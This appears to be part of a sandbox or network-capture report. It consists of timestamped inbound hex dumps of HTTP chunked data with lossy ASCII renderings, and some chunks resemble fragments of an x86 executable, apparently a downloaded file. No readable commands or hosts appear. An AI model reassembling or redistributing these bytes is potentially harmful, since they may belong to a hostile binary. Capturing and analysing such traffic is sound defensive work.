2023-05-28 08:42:55 UTC	396	IN	Data Raw: 31 66 34 30 0d 0a 6e 57 50 dd 99 12 18 94 f3 01 79 1e 8b 96 ce 7d 43 4c ec 5d 66 f1 c9 e6 83 d0 fa 75 21 1e d8 94 6e b6 6f 22 1c 38 fd 33 0c 69 a4 cd 80 a9 42 58 f1 45 4e cb 92 d9 96 bc 01 d2 1a 8f 5c f4 2e e8 c9 7d 45 88 11 98 45 8d 68 c9 f8 bc ae fe a4 ac 19 b3 0a 62 e1 be bc 50 a6 eb 14 5b a9 98 2d 23 77 8e b0 77 74 bd 59 86 17 6d 5c 45 e5 57 60 14 e1 8e 7f 13 4a f5 6b c0 d5 b3 dd e2 fc d2 84 d5 39 e5 22 e5 65 7f 87 4a 3e 08 c5 e9 23 2a 48 9d 07 b5 9c e6 98 20 5a 42 bd 48 63 98 91 e2 17 17 03 15 7e 31 1d 5f 08 ab 49 f2 f1 df 20 5b 8b 6f 8e 09 36 93 4c 21 eb 7a d4 e2 2e b4 28 69 58 26 47 52 95 98 5f 59 9f 37 db 22 bb 47 07 e4 cd 27 61 57 b4 bd c0 56 b4 60 14 46 47 bf 38 56 f1 74 5e af be bc f5 32 cb 66 6a 76 35 b4 de c9 d0 4d a5 f4 1a 90 f6 9d 0f 3c a3 Data Ascii: 1f40nWPy}CL]fu!no"83iBXEN\.}EEhbP[-#wwtYm\EW`Jk9"eJ>#*H ZBHc~1_I [o6L!z.(iX&GR_Y7"G'aWV`FG8Vt^2fjv5M<
2023-05-28 08:42:55 UTC	404	IN	Data Raw: 36 24 fa 8c d4 73 f8 a2 94 1f f1 ce 38 94 2b 20 72 66 98 23 a1 9b 3c 32 8e 0e cf 34 09 00 45 a4 d0 cd c7 c9 df 60 1e 74 c3 ba 23 a4 37 35 7d 5b 1a d0 09 ce 28 18 17 65 a6 04 97 91 d1 13 cd 98 60 74 3b 63 7b 20 e2 dd 1b 6b d1 1d cf c1 1b 80 39 f5 55 5f 93 99 5f 05 28 dd 32 77 45 9a e9 be e2 70 cc 5f ea f8 2b 0c 05 ac 93 17 36 fb 96 df 73 33 03 0c 89 0a 9f 25 d5 02 cf 23 3e 35 52 a8 65 2c bf 1d fc 17 54 b6 30 22 34 31 92 94 5b dc c7 40 20 f2 5c 9d ad 33 60 dd 23 d2 ce 99 dd 17 fc 56 28 e3 ad f6 68 10 3e 60 2c ab 6a 63 cd f2 66 fa 69 7d e7 5b 94 f2 7f 74 7d 5b a7 71 cd 50 c4 ee 13 80 d3 9f 9c ad 04 02 3b 30 61 dc 20 fb 9c ce 23 1b d5 f6 f3 ee b7 6b 23 f2 1b 24 64 0c 7d f8 66 0a 46 33 59 26 db 7c 55 86 98 7a 4d ba e8 b3 20 65 b3 31 98 4e b4 15 5b a4 dd 45 74 Data Ascii: 6$s8+ rf#<24E`t#75}[(e`t;c{ k9U__(2wEp_+6s3%#>5Re,T0"41[@ \3`#V(h>`,jcfi}[t}[qP;0a #k#$d}fF3Y&\|UzM e1N[Et
2023-05-28 08:42:55 UTC	411	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	411	IN	Data Raw: 31 66 34 30 0d 0a 75 a4 6d 8c f5 df f7 0e a4 89 8d 28 91 93 36 b3 27 e8 10 56 de 76 7c ed b7 70 5d 58 b1 33 ba c2 02 38 ea 00 35 9a f9 ed 87 d5 3d 7b 7b 9d c1 07 f5 d6 37 62 f4 e6 42 34 67 90 8d f0 a6 b5 da 7f e4 1d 3e 7b 5d 4a d7 50 cf 20 8f d5 04 97 93 50 b4 1d 2c 0e 97 c6 2a f6 b0 ed 5a 1e cd a5 e1 e7 42 89 ad d0 86 78 b2 41 5a b3 a0 54 51 20 d9 91 7f fd be 6a 15 94 43 a3 32 ad 61 cc d1 7d d9 25 32 71 e2 43 fa 41 5e 60 93 7b 64 96 d7 94 1e c6 50 7e 7d 3f d3 0e c6 8f f7 37 47 f9 2b 03 f3 7c 50 e2 ea 65 63 2a 27 94 b7 0f e8 94 92 5e c2 48 12 30 a5 4f d2 49 98 4c 6d 25 13 1b f4 3e 2b fa 8d b2 73 34 17 00 11 e1 c9 ca f5 7a 03 4b ba 32 43 e9 48 7a 2a 60 f5 ff 6a 24 b0 0f 61 31 8e 51 f3 1e 8e ef b1 7b b8 3b a0 f2 d8 66 70 a2 52 99 0f f9 70 6b 9a 62 7b d0 33 Data Ascii: 1f40um(6'Vv\|p]X385={{7bB4g>{]JP P,ZBxAZTQ jC2a}%2qCA^`{dP~}?7G+\|Pec'^H0OILm%>+s4zK2CHz*`j$a1Q{;fpRpkb{3
2023-05-28 08:42:55 UTC	419	IN	Data Raw: c5 74 8a 1a df 61 50 8a 0b f5 de 6b d7 6b 3f 57 d9 83 04 1c 45 67 b3 a3 4f 58 30 c5 36 25 a8 89 4f e2 cc d1 e5 ae b9 da 20 b8 e1 21 8c 9f 26 fe 2c 8d c1 44 b8 c0 3e 4e a4 e3 6f 18 9a df 54 54 be d4 c0 d2 b7 be 78 41 a4 c5 8f dd c3 c4 c5 58 e4 d4 ae ba 37 16 3c 30 5e 31 5f c4 f0 29 ef 57 55 91 65 fe 3a 87 b1 2f 10 37 b5 56 f6 fe db 04 f1 cb d8 65 4f 5a a5 dd 1e 74 f3 e5 7e d9 07 b8 25 c0 8a 9e b7 b1 8c f3 1f ec a7 f2 b3 ea f3 7b 94 18 b3 4b 3f 7f ce 39 b6 f3 85 4d 26 33 9d e5 da 53 08 c0 68 20 78 dd bf 43 91 e6 de 51 1f a3 cc 23 3c 1c 80 7d 2d e9 03 fd 66 18 4e 1a d9 51 17 97 6b 3f df 8d f3 a2 e5 ca 2a cd aa 8c a0 f7 c1 6e 32 75 08 7d c2 0a 1b c7 39 01 32 1b 12 cb 79 09 63 80 58 98 81 82 ed c3 d6 da 31 fa c3 27 91 a7 9f 2b d4 ae cd 8c ba b1 ed 84 c8 03 51 Data Ascii: taPkk?WEgOX06%O !&,D>NoTTxAX7<0^1_)WUe:/7VeOZt~%{K?9M&3Sh xCQ#<}-fNQk?*n2u}92ycX1'+Q
2023-05-28 08:42:55 UTC	427	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	427	IN	Data Raw: 31 66 34 30 0d 0a 57 62 68 bc 67 1a ad a0 f7 b6 48 4b cd 24 c8 f6 4f e6 e3 b4 a8 8b d5 99 f2 b7 a5 85 6d 83 57 87 2c d9 ea af 14 4a ad dc d5 b1 f7 26 85 5d 6c 07 1c d7 72 29 9c e3 5d 95 d2 aa c9 02 6a e1 b6 fc 2f 01 8d aa ec b2 5a a8 d2 86 44 d2 c2 df f3 92 7a 5c 1c ab fc 88 c6 65 a6 46 fe 5e aa 29 8d ce 65 eb 75 8e a2 a3 0c 56 0f 8a 17 41 1a e4 1f c2 4a 55 af 1b 11 a0 a0 82 f0 cc 2f 9b 5a 73 fb 59 77 e5 eb 70 2c 90 e3 ca d8 90 49 2b db af 29 4f 3e 7f c4 38 ae 66 38 7b b8 d0 26 0c 4f 34 ee a8 ef 27 0d e9 92 43 18 24 95 5d c9 ad 42 cc 5a ad 04 4c 8b 8c 08 a9 64 f0 10 85 42 78 d1 08 8c 11 7e 96 67 dd 6c da ca ae e5 7d c2 a8 e6 bf 30 36 1d ed 07 ae a2 8a 21 a8 04 86 b4 54 c8 43 94 a0 07 eb 7d b7 b5 ec 6b 88 55 21 57 ce 53 59 75 1b 16 88 21 2a 35 88 00 97 73 Data Ascii: 1f40WbhgHK$OmW,J&]lr)]j/ZDz\eF^)euVAJU/ZsYwp,I+)O>8f8{&O4'C$]BZLdBx~gl}06!TC}kU!WSYu!*5s
2023-05-28 08:42:55 UTC	435	IN	Data Raw: c1 ac 89 66 08 24 43 02 24 cc 4c 33 bc a8 d8 ea c9 fc ad fd 23 e3 9b b8 b5 b4 d8 e6 8d b2 39 5c 9b 97 e1 89 81 96 81 10 45 17 dd cc 4b 82 4b f1 6e 1f 4f 92 53 dd 58 63 23 ab 2e 4f 92 1b c9 c0 be c2 f5 d9 f1 06 a4 3a d1 c3 48 0d 71 1c 5d d1 6a 10 c6 b8 7c ae 91 dc 5b 2a 00 1e 4b b7 d3 8b e5 47 13 e6 31 65 ff cc ee 26 6c 85 7c 0f f3 9e 1e 05 a4 9d 05 e4 86 c6 71 95 e2 59 67 c9 a9 7c ce fe 5d ab 58 cf 18 e9 a4 4f 01 e7 54 1c 6b 68 81 a7 eb 12 88 fa 02 b6 a5 45 9d 6e e5 1b 75 25 60 7c ae 7b dc ec 84 65 f3 ef 05 7c e5 f9 3e e8 8a bb f6 98 fc e9 66 91 66 de d5 a0 a6 4a fe 03 20 90 99 00 ef 7e a2 df 97 de 34 ea dc bf ba ec 44 6c 9f a5 5d 32 65 5e 58 43 8d 95 3c 79 98 25 ae 9a f9 2a 3a 38 79 a0 e7 4f 4d f1 7d 3c 9a 8b d3 d0 01 26 59 28 67 3b 22 2f 2f ee 62 35 ef Data Ascii: f$C$L3#9\EKKnOSXc#.O:Hq]j\|[KG1e&l\|qYg\|]XOTkhEnu%`\|{e\|>ffJ ~4Dl]2e^XC<y%:8yOM}<&Y(g;"//b5
2023-05-28 08:42:55 UTC	442	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	442	IN	Data Raw: 31 66 34 30 0d 0a e0 78 44 28 ca c8 4d 06 4d 94 e5 67 13 b0 9c 8c 68 d5 3f 1a b1 4c 22 ae 46 fd 55 03 34 da a5 56 b9 15 42 da 93 c5 93 f0 71 49 00 6c e8 6d 9b 61 5e fe be 30 62 05 10 77 33 2b db 4f f7 0e 59 a5 cb 56 6d 25 46 fa 44 27 fc 5f 5d e0 84 41 90 30 6b 87 ff cb 2f 38 12 ab 7c 6e 81 e2 d1 84 c5 0a 39 aa 0b 20 c3 a6 a3 96 a5 5a 32 fe 19 7a 1d 91 24 2e d9 30 94 51 5a 6f cc 91 1e 20 8c 1d 32 c2 24 3e 84 74 c4 3b 42 64 7f bc ce 73 8f 3a 74 8b 54 24 08 8d 42 0c 8b 4a ec 33 c8 e8 9a d6 fd ff b8 c8 7d 42 00 e9 37 d3 fd ff cc cc cc cc cc 8b 45 04 e9 a8 c9 fd ff b8 c0 82 42 00 e9 20 d3 fd ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 8d a4 fb ff ff e9 e5 c8 fd ff 8d 85 8c fb ff ff e9 7a c9 fd ff b8 f4 82 42 00 e9 f2 d2 fd ff c7 05 60 ac 42 00 50 12 40 00 Data Ascii: 1f40xD(MMgh?L"FU4VBqIlma^0bw3+OYVm%FD'_]A0k/8\|n9 Z2z$.0QZo 2$>t;Bds:tT$BJ3}B7EB zB`BP@
2023-05-28 08:42:55 UTC	450	IN	Data Raw: ff dc a7 d7 b9 85 66 71 b1 0d 40 00 00 00 00 00 00 ff ff 0d 40 f7 36 43 0c 98 19 f6 95 fd 3f 00 00 00 00 00 00 e0 3f 03 65 78 70 00 00 00 00 00 00 00 00 00 01 14 00 b1 c6 40 00 7d 9b 40 00 82 9b 40 00 f1 c7 40 00 00 00 94 26 00 00 14 00 00 00 14 14 40 00 1d 00 00 00 18 14 40 00 1a 00 00 00 08 14 40 00 1b 00 00 00 0c 14 40 00 1f 00 00 00 f4 1b 40 00 13 00 00 00 ec 1b 40 00 21 00 00 00 e4 1b 40 00 0e 00 00 00 00 14 40 00 0d 00 00 00 f8 13 40 00 0f 00 00 00 dc 13 40 00 10 00 00 00 dc 1b 40 00 05 00 00 00 d4 1b 40 00 1e 00 00 00 c0 13 40 00 12 00 00 00 bc 13 40 00 20 00 00 00 b8 13 40 00 0c 00 00 00 d4 13 40 00 0b 00 00 00 cc 13 40 00 15 00 00 00 cc 1b 40 00 1c 00 00 00 c4 13 40 00 19 00 00 00 c4 1b 40 00 11 00 00 00 bc 1b 40 00 18 00 00 00 b4 1b 40 00 16 00 Data Ascii: fq@@6C??exp@}@@@&@@@@@@!@@@@@@@@ @@@@@@@@
2023-05-28 08:42:55 UTC	458	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	458	IN	Data Raw: 31 66 34 30 0d 0a 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 38 9b fe fb b1 9c 22 3a 58 3a 6e 02 6e 6e 1e 20 7c 15 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f a1 c0 5a 08 61 54 22 6e 58 ee a6 9c 2e 2e ca ca 5c 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f fa 87 38 85 cf cf 3b aa e4 68 80 df 2e 2e 20 e2 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 10 57 0f f1 37 1f 79 79 95 ab b4 ca c1 9d 42 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f f0 18 b4 c1 45 5c 42 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: 1f40/////////////////8":X:nnn \|//////////////////////////////ZaT"nX..\///////////////////////////////8;h.. /////////////////////////////////W7yyB/////////////////////////////////////////E\B//////////////////////
2023-05-28 08:42:55 UTC	466	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7e 7e 7e 7f 7f 80 81 7f 80 80 80 81 80 81 7e 7e 7f 7f 80 7f 7f 80 81 7f 80 7f 80 7f 7f 80 7f 81 7e 7e 7f 81 80 81 81 80 81 81 80 80 7e 81 7e 80 7e 80 7f 7f 7f 80 7f 81 7f 81 7e 7f 81 7f 7e 80 7f 7f 80 80 7f 81 81 7f 81 80 7e 81 80 7f 80 81 80 7f 7f 7f 80 7f 7f 80 81 7f 80 80 7f 80 80 81 81 7f 80 7e 7f 7f 80 80 7f 7f 80 7f 7f 81 80 80 7e 81 81 7f 7f 81 7f 80 81 80 80 81 80 7f 80 7e 81 7f 7f 81 7f 7e 81 7f 7f 80 7f 7f 81 80 7e 7f 7e 7f 7f 7f 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 7e 7f 80 81 7e 80 80 7f 7f 7e 7f 7e 7f 7e 81 81 7e 7f 7e 80 7f 80 7e 7e 80 7e 7f 80 80 7e 7e 7f 7f 7f 80 7e 7f 80 7e 7f 81 80 7f 80 7f Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	474	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	474	IN	Data Raw: 31 66 34 30 0d 0a 7e 80 81 7e 7f 7f 80 80 80 80 7f 80 7f 81 80 7e 7e 80 80 80 80 80 81 80 80 81 7f 80 7f 80 7f 80 7f 80 80 80 7e 80 81 81 7f 7e 80 7f 80 80 7f 81 81 7e 80 7f 80 7e 7e 7e 7f 80 7f 80 7f 80 81 7f 7f 7e 7e 80 80 7f 7f 80 81 7e 7f 7e 80 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 80 7e 81 80 7f 80 7f 80 7f 7f 7f 80 7f 7e 7f 80 7f 80 7f 80 80 7f 7e 80 80 7e 7e 7f 7e 7e 7f 7f 7e 81 80 80 80 7f 81 7f 7f 80 7e 81 7f 80 7f 7e 7f 7f 7e 81 81 80 80 80 81 7e 7f 7f 81 7e 80 80 7f 7e 7e 7f 81 80 80 81 7f 80 81 7f 7f 7f 81 7f 7f 7f 80 7f 7f 80 80 81 81 80 7f 7f 7f 7f 80 7f 80 81 7f 7f 81 81 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 81 81 80 80 80 7f 80 81 80 80 80 7e 7e 7f 80 7f 7f 80 80 7f 7f 80 80 7e 80 7e 80 7f Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	482	IN	Data Raw: 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a b7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 1e b0 0a 6a 6a 6a 6a 6a 6a 6a 2b e6 f1 06 3d fe 2b b7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 84 69 f6 51 1c da 6f 47 a9 b4 6a 6a e6 54 e5 c0 dc ba 5c e7 19 6a 6a 6a 6a 6a 6a 6a 6a 6a 2b 81 7a 80 7e 74 f5 04 df f5 61 85 47 d0 fe f2 e5 51 03 56 00 e9 8a 2b 6a 6a 6a 6a 6a 6a 6a 6a e6 11 74 4f 22 22 ea 64 22 a5 51 06 60 c8 85 1a 54 24 00 50 50 83 5f 77 6a 6a 6a 6a 6a 6a 6a b7 2f 7a 33 c1 24 d7 c7 13 71 76 ba cd 99 88 b1 51 8a e9 00 98 1f ed d7 69 6a Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj+=+jjjjjjjjjjjiQoGjjT\jjjjjjjjj+z~taGQV+jjjjjjjjtO""d"Q`T$PP_wjjjjjjj/z3$qvQij
2023-05-28 08:42:55 UTC	489	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	489	IN	Data Raw: 31 66 34 30 0d 0a 7e 7f 81 81 7f 81 7f 81 81 7f 80 80 7e 7f 7f 7e 7e 7f 80 81 7e 7e 81 7f 7f 80 81 7f 81 80 7f 80 80 80 7f 80 7e 7e 7f 7f 7f 7f 80 7f 7e 80 7f 80 7f 80 7e 7e 7f 7e 7e 7f 7f 7f 80 7f 7e 7f 7f 7f 80 80 81 7e 81 7f 7f 81 7f 80 80 80 81 81 7e 80 81 7e 7e 81 80 7f 7e 7f 7f 7e 80 7f 80 7e 7f 7f 7f 80 7e 7f 80 80 80 80 80 80 80 81 80 80 81 7f 7e 7e 80 7f 7e 7f 80 7e 80 7e 81 7f 7f 81 81 81 7f 80 81 80 7e 7e 81 7f 80 7f 7e 7f 7f 7f 7f 7f 7f 7e 7e 7e 7f 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 7e 7f 7f 7f 81 80 81 7f 81 7e 7f 7f 81 80 80 80 80 7f 80 7e 7f 7f 80 7f 7e 7f 80 7f 7f 80 81 7e 81 80 80 80 7f 7e 7e 80 7e 81 80 7e 7f 7f 7e 81 80 80 7f 7f 81 7e 7f 7f 80 80 7e 7e 7f 80 7f 81 80 81 80 80 81 7f 81 7e 7f 80 7f 7f Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	497	IN	Data Raw: 80 80 80 7f 7f 7e 80 7e 80 80 80 7e 7f 7f 7f 7f 81 7f 7f 81 7f 00 00 00 00 00 00 00 00 7e 81 80 81 7e 80 80 80 00 00 00 00 7f 81 80 7f 80 7f 81 7f 80 7f 7f 80 7e 80 7f 7e 7e 81 80 80 80 81 7f 7f 80 7e 7f 7e 81 7e 80 7f 7f 7e 7f 7f 7f 7e 81 7f 7f 80 7f 80 7f 80 81 7f 7e 7f 81 7f 7f 80 7f 80 7e 7e 80 7f 81 7f 81 7f 80 80 80 80 7f 7e 7f 7e 80 81 80 7f 7e 7e 81 7f 7e 81 7e 81 7e 7f 7f 81 80 81 7e 7f 7f 7e 7f 7e 81 81 7f 81 80 7f 7f 81 81 80 81 81 80 81 80 7f 00 00 00 00 ff ff ff ff ff ff ff ff ff f0 00 7f 80 00 00 0f 00 00 00 03 00 00 00 00 c0 00 00 00 80 00 00 03 80 00 00 03 00 00 00 03 00 00 00 01 80 00 00 01 00 00 00 03 80 00 00 03 80 00 00 00 80 00 00 03 00 00 00 03 c0 00 00 03 00 00 00 03 00 00 00 03 80 00 00 01 80 00 00 02 00 00 00 00 80 00 00 01 80 00 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	505	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	505	IN	Data Raw: 31 66 34 30 0d 0a 7e 80 00 7f 80 80 00 80 7f 7f 00 7e 7f 80 00 7e 7f 7f 00 81 80 7f 00 80 81 7e 00 80 7f 7f 00 7f 7f 81 00 7f 7f 7f 00 7f 80 81 00 7f 80 81 00 7f 80 7f 00 81 80 80 00 81 80 81 00 80 7f 80 00 80 81 80 00 81 80 7f 00 80 80 7f 00 7f 81 80 00 7f 81 81 00 7f 7e 81 00 7f 81 81 00 80 80 7f 00 7f 7f 80 00 7e 80 80 00 80 7e 7f 00 80 7f 80 00 80 7f 7f 00 7f 81 80 00 80 80 7f 00 80 7f 80 00 81 81 7e 00 7f 7e 7f 00 81 80 80 00 80 80 80 00 80 7e 7e 00 7e 80 80 00 80 80 80 00 7f 7f 80 00 7f 7f 7f 00 7f 81 81 00 81 7f 81 00 81 7f 7e 00 7f 80 7f 00 7f 81 80 00 7e 80 80 00 80 7e 81 00 80 7e 7e 00 7f 80 80 00 80 7f 7f 00 80 7f 7f 00 7f 7f 81 00 7f 80 7f 00 7f 7e 7e 00 80 80 7f 00 81 81 7e 00 7f 80 7f 00 7f 80 80 00 7e 81 7f 00 81 81 80 00 7f 81 7f 00 80 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	513	IN	Data Raw: 80 7f 7f 80 80 7f 80 80 80 7f 7e 81 7f 81 81 80 7f 80 80 7f 7f 7e 7f 7f 7e 80 7f 7f 81 80 7f 7f 81 80 7f 7e 80 7f 80 7f 80 80 81 80 81 7e 80 7f 7f 80 7f 81 7f 7f 81 81 7f 7f 7e 7f 80 7e 80 7e 7e 80 81 80 80 7e 80 80 7f 81 7f 81 81 7f 80 81 7f 7f 7f 7e 7e 80 7f 7e 80 7e 7f 80 7f 80 7f 7f 7e 7f 7f 7f 7f 80 80 7e 7f 80 7f 80 7f 7f 80 80 80 81 7f 81 7f 81 81 81 80 80 80 7f 81 81 7f 7e 7f 7f 80 7f 81 7f 80 81 80 80 81 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 81 80 80 7f 7f 7e 80 81 81 7f 7f 7f 7f 7f 7f 80 7f 7f 7e 80 81 80 80 81 80 80 7e 80 7e 7f 7e 7f 80 80 7e 7e 81 80 7f 7e 80 81 7f 81 80 7e 7f 80 80 81 7f 80 7f 80 7f 7e 80 7f 7f 7f 81 80 7f 7e 81 7e 7f 80 7f 7f 80 80 7f 7e 80 80 7e 7f 7f 7f 80 7e 7e 7f 80 7f 7e 81 7f 7f 81 7f 81 7f 80 7e Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	521	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	521	IN	Data Raw: 31 66 34 30 0d 0a 81 7f 80 81 7f 81 7f 80 7e 7f 81 7e 7e 7f 7f 7f 80 7f 80 7f 7f 7f 80 7f 81 81 7e 7f 80 7e 7f 80 81 81 80 80 7f 80 7f 80 80 80 7e 7f 7f 7e 80 00 00 00 00 00 00 00 00 7f 80 81 80 7e 7e 7e 7f 80 7f 81 80 81 7f 80 80 7e 7e 7f 81 7f 7e 7f 7e 80 81 80 81 81 81 81 7f 7f 7f 7f 7f 80 7e 7e 80 7e 7f 7e 80 80 81 80 80 81 80 7f 81 7f 7f 81 80 80 7f 7f 80 80 7f 80 7f 7f 7e 7f 7e 80 81 81 80 7f 7f 7f 81 80 7f 80 7f 7f 80 7f 7f 7e 7f 7f 81 7f 7f 81 7e 81 81 7f 81 80 7f 7f 81 7f 81 7e 81 7f 80 80 81 7e 7f 7f 80 81 80 7f 7f 7f 80 7f 80 80 7f 80 7f 00 00 00 00 7e 7f 80 80 80 7e 7f 81 7f 81 7f 7f 81 7f 80 81 80 80 7e 80 81 7f 7e 7f 81 7f 7f 80 80 80 7f 7f 7e 80 7f 7f 7f 7e 7f 80 80 7f 7e 7f 7e 7f 80 7e 7f 7e 7f 80 7e 7f 7e 81 7f 80 80 80 7e 80 7f 7e 7f 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:55 UTC	529	IN	Data Raw: 00 7e 7e 81 00 81 81 81 00 86 7b 84 00 7b 84 80 00 80 80 84 00 79 7e 7a 00 7c 7e 83 00 7b 7c 7c 00 80 85 7b 00 80 7c 7c 00 7c 84 79 00 7d 81 81 00 7e 7d 7b 00 82 7f 80 00 82 7c 81 00 80 80 84 00 85 81 7e 00 7f 84 7c 00 7f 7a 81 00 7f 7a 7e 00 80 84 83 00 80 82 81 00 85 7c 7b 00 7e 81 7b 00 81 7b 7e 00 80 80 80 00 80 7f 7d 00 84 7d 81 00 7b 7c 85 00 84 7e 7c 00 83 7d 83 00 82 82 85 00 84 80 86 00 83 7b 7c 00 84 83 82 00 81 7e 7c 00 83 7f 7e 00 7f 7d 7d 00 85 84 7b 00 7b 81 85 00 82 7e 7e 00 81 83 7c 00 7b 7d 84 00 83 82 7e 00 81 80 7f 00 81 84 7b 00 83 7d 80 00 85 7c 7f 00 82 7f 84 00 86 7c 83 00 7d 7c 83 00 7d 7c 84 00 83 84 84 00 80 84 83 00 7f 80 83 00 84 80 83 00 82 7f 85 00 80 7f 81 00 81 7b 7b 00 7a 7e 83 00 7f 7e 82 00 82 80 80 00 7d 81 7d 00 86 7f Data Ascii: ~~{{y~z\|~{\|\|{\|\|\|y}~}{\|~\|zz~\|{~{{~}}{\|~\|}{\|~\|~}}{{~~\|{}~{}\|\|}\|}\|{{z~~}}
2023-05-28 08:42:55 UTC	536	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	536	IN	Data Raw: 31 66 34 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 7e 7c 7f 7a 7d 7f 7a 7e 83 7c 82 80 7c 80 84 7c 7c 7e 81 7a 7f 7f 7f 7c 7e 82 85 7e 7f 7e 7b 81 7d 7e 84 81 84 80 83 7e 84 7f 7b 85 7e 7e 81 7a 7f 81 80 7c 81 7a 85 7e 7f 80 83 81 81 7d 7f 80 80 80 85 7f 7e 7a 7e 7a 7f 7b 7e 84 83 81 7e 7f 7a 81 7e 7e 7b 82 82 7a 7e 7c 86 7e 7d 79 7c 81 7e 7f 81 84 7d 7c 83 83 84 7c 84 7d 7b 7e 83 7b 7a 79 7d 7e 7f 80 80 7f 7c 81 84 81 7b 80 7f 7c 7d 7b 79 7e 7f 81 85 85 82 86 7b 79 7b 83 81 7f 7e 83 80 85 7b 83 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 80 83 85 85 7c 84 81 7f 7f 7f 83 84 83 7d 82 7f 7b 80 80 7b 7d 82 7d 7b 7e 7f 84 80 7f 80 7b 85 86 83 7d 80 7c 86 84 7c 82 81 7f 82 82 81 7f 83 83 81 84 85 7c 7c 82 7f Data Ascii: 1f40\|~\|z}z~\|\|\|\|~z\|~~~{}~~{~~z\|z~}~z~z{~~z~~{z~\|~}y\|~}\|\|}{~{zy}~\|{\|}{y~{y{~{\|\|}{{}}{~{}\|\|\|\|
2023-05-28 08:42:55 UTC	544	IN	Data Raw: 7f 84 83 81 84 84 7c 80 82 80 85 80 7e 7e 81 82 7e 7c 7c 7d 82 7e 80 7c 83 83 82 7d 86 00 00 00 00 00 00 00 00 00 00 00 00 80 7a 7c 7d 82 81 82 81 7c 84 81 83 7d 81 82 7f 7d 82 7e 81 82 82 7e 81 7d 7f 7d 7f 7d 82 86 83 7f 80 85 7f 7e 83 84 84 7b 82 7f 7f 7e 81 80 83 7f 80 7f 7a 7e 7f 7f 7c 7e 80 7e 80 84 82 7e 83 81 83 7f 82 84 7e 81 81 82 7f 7f 7f 82 7d 7d 80 7f 84 86 84 7c 80 7f 82 84 7b 79 82 7d 7c 7a 81 82 7c 80 82 7e 7b 81 7e 80 7c 7b 81 7c 80 7d 81 00 00 00 00 00 00 00 00 00 00 00 00 7c 80 7b 84 81 80 85 7c 86 81 83 82 80 7e 7f 83 7f 7c 80 85 7f 82 85 85 81 7c 80 7b 82 7a 82 83 7e 82 7c 7e 7c 7d 7f 81 7e 7e 7f 84 84 81 7f 83 79 7d 7f 81 84 7d 82 7a 7b 81 82 7f 81 7b 80 7f 7c 83 7e 81 85 7b 7e 7f 85 7c 7b 80 7c 7e 7d 82 